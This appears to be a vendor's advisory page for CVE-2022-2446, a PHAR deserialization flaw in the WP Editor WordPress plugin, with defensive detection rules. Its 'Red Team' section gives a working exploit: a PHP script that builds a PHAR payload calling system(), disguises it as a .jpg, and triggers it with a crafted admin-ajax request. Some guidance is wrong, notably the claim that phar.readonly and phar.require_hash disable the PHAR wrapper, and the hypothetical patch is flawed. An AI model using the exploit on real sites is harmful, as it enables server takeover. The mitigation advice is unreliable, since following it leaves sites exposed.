CVE-2022-2446
Executive Summary
CVE-2022-2446 is a critical deserialization vulnerability in the WordPress plugin WP Editor (versions up to and including 1.2.9). The flaw resides in the insecure handling of the current_theme_root parameter, which allows authenticated attackers with administrative privileges to trigger PHP deserialization via a PHAR wrapper. This can lead to arbitrary code execution if a POP (Property Oriented Programming) chain is present in the application or its dependencies. The vulnerability requires the attacker to first upload a malicious file containing a serialized payload, making it a two-step attack. Despite a low EPSS score (0.0%), the high CVSS score of 7.2 and the potential for full site compromise make this a significant threat for WordPress administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The WP Editor plugin is distributed through the official WordPress plugin repository. Users are advised to check for updates from the plugin author and consider removing the plugin if no patch is available. No known supply chain compromise has been reported for this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector (AV): Network (N) - The attack can be launched remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): High (H) - The attacker must have administrative credentials.
- User Interaction (UI): None (N) - No user action is required beyond the attacker's own actions.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): High (H) - Full read access to sensitive data is possible.
- Integrity (I): High (H) - Full write access to system files is possible.
- Availability (A): High (H) - Full control over system availability is possible.
Threat Level: High. While the attack requires admin privileges, a compromised admin account or a malicious insider can achieve complete server takeover.
Deep Dive & Mechanics
The vulnerability is a classic PHP deserialization flaw, specifically triggered via a PHAR (PHP Archive) wrapper. The WP Editor plugin unsafely passes user-supplied input from the current_theme_root parameter to a file operation function (e.g., file_get_contents(), include(), or is_dir()) that supports PHAR metadata deserialization.
Attack Flow:
- Prerequisite: The attacker must have administrative access to the WordPress site.
- Payload Upload: The attacker uploads a specially crafted file (e.g., an image or PDF) that contains a serialized PHP object payload embedded in its metadata. This file can be uploaded via the WordPress media library or any other file upload functionality.
- Trigger: The attacker sends a crafted HTTP request to the vulnerable endpoint, setting the
current_theme_rootparameter to a PHAR URL pointing to the uploaded file (e.g.,phar://./wp-content/uploads/2022/01/evil.jpg). - Deserialization: The plugin's code uses this parameter in a file operation that supports PHAR streams. PHP automatically deserializes the metadata of the PHAR file, instantiating arbitrary PHP objects.
- POP Chain Execution: If a suitable POP chain exists (e.g., in WordPress core or other plugins), the deserialized objects can trigger arbitrary code execution, such as executing system commands or writing a web shell.
Key Technical Details:
- The vulnerable parameter is
current_theme_root. - The attack requires a PHAR wrapper, which is enabled by default in PHP.
- The attacker must be able to upload a file with a valid PHAR archive structure.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (wp-editor.php, version 1.2.9):
// Vulnerable: Direct use of user input in a file operation
$theme_root = $_GET['current_theme_root'];
$file_path = $theme_root . '/style.css';
if (file_exists($file_path)) {
// Process file
}
Patched Code (Hypothetical):
// Patched: Validate and sanitize the input
$theme_root = $_GET['current_theme_root'];
$allowed_paths = array('/themes', '/plugins');
$real_path = realpath($theme_root);
if ($real_path && in_array(dirname($real_path), $allowed_paths)) {
$file_path = $real_path . '/style.css';
if (file_exists($file_path)) {
// Process file
}
}
Key Differences:
- The patched version uses
realpath()to resolve the path and checks it against a whitelist of allowed directories. - It also prevents PHAR wrapper usage by ensuring the path is a real filesystem path.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with WP Editor plugin version 1.2.9.
- Administrative credentials (e.g.,
admin:password). - Ability to upload files (e.g., via Media Library).
Step 1: Create a Malicious PHAR File
Create a file exploit.phar with a serialized payload that triggers a POP chain. For example, using the GadgetChain from a known PHP library:
<?php
// exploit.php - Generate a PHAR file with a serialized payload
class Evil {
public $cmd = 'id';
public function __destruct() {
system($this->cmd);
}
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(new Evil());
$phar->stopBuffering();
rename('exploit.phar', 'exploit.jpg'); // Rename to bypass upload filters
?>
Step 2: Upload the Malicious File
Log in to WordPress admin, navigate to Media > Add New, and upload exploit.jpg.
Step 3: Trigger Deserialization Send a crafted HTTP request:
GET /wp-admin/admin-ajax.php?action=wp_editor_ajax¤t_theme_root=phar://./wp-content/uploads/2022/01/exploit.jpg HTTP/1.1
Host: target-wordpress-site.com
Cookie: wordpress_logged_in_...=...
Expected Result: The id command is executed, and the output is visible in the server response or logs.
Blue Team (Defensive)
Detection:
- Monitor for HTTP requests containing
phar://in parameters. - Alert on file uploads with unusual MIME types (e.g., image files with PHP content).
- Monitor for administrative actions that involve file operations on uploaded files.
Prevention:
- Disable the PHAR wrapper in
php.ini:phar.readonly = Onandphar.require_hash = On. - Implement a Web Application Firewall (WAF) rule to block
phar://in request parameters. - Restrict file uploads to only allow safe file types and scan for embedded PHP code.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests containing
phar://in thecurrent_theme_rootparameter. - Unusual file uploads with
.phar,.jpg.phar, or.png.pharextensions.
- HTTP requests containing
- File System:
- Presence of files with PHAR metadata in the uploads directory.
- Unexpected files in
/wp-content/uploads/with PHP code.
- Logs:
- PHP error logs showing deserialization errors or unexpected class instantiation.
- WordPress debug logs with
unserialize()calls.
Detection Engineering
YARA Rule
rule CVE_2022_2446_WP_Editor_Deserialization {
meta:
description = "Detects PHAR files with serialized payloads targeting WP Editor"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2022-2446"
strings:
$phar_stub = "__HALT_COMPILER"
$serialized = "O:" ascii wide
$phar_url = "phar://" ascii wide
condition:
$phar_stub and $serialized and #phar_url > 0
}
Sigma Rule
title: CVE-2022-2446 WP Editor PHAR Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with phar:// wrapper in current_theme_root parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'current_theme_root=phar://'
condition: selection
falsepositives:
- Legitimate use of PHAR files (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2022-2446 WP Editor PHAR Deserialization Attempt"; flow:to_server; content:"current_theme_root"; http_uri; content:"phar://"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Editor plugin until a patch is available.
- Remove the plugin if it is not critical for operations.
- Restrict administrative access to only trusted users and enforce strong passwords.
- Disable PHAR wrapper in PHP configuration:
phar.readonly = On phar.require_hash = On - Implement a WAF rule to block
phar://in request parameters.
Long-Term Mitigations:
- Regularly update all WordPress plugins and themes.
- Conduct security audits of all plugins, especially those handling file operations.
- Use a security plugin (e.g., Wordfence) to monitor for suspicious activity.
- Implement file upload validation to prevent PHAR file uploads.
Patch Status: As of the last update, no official patch has been released. Users are advised to monitor the plugin's page for updates or consider replacing it with an alternative.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.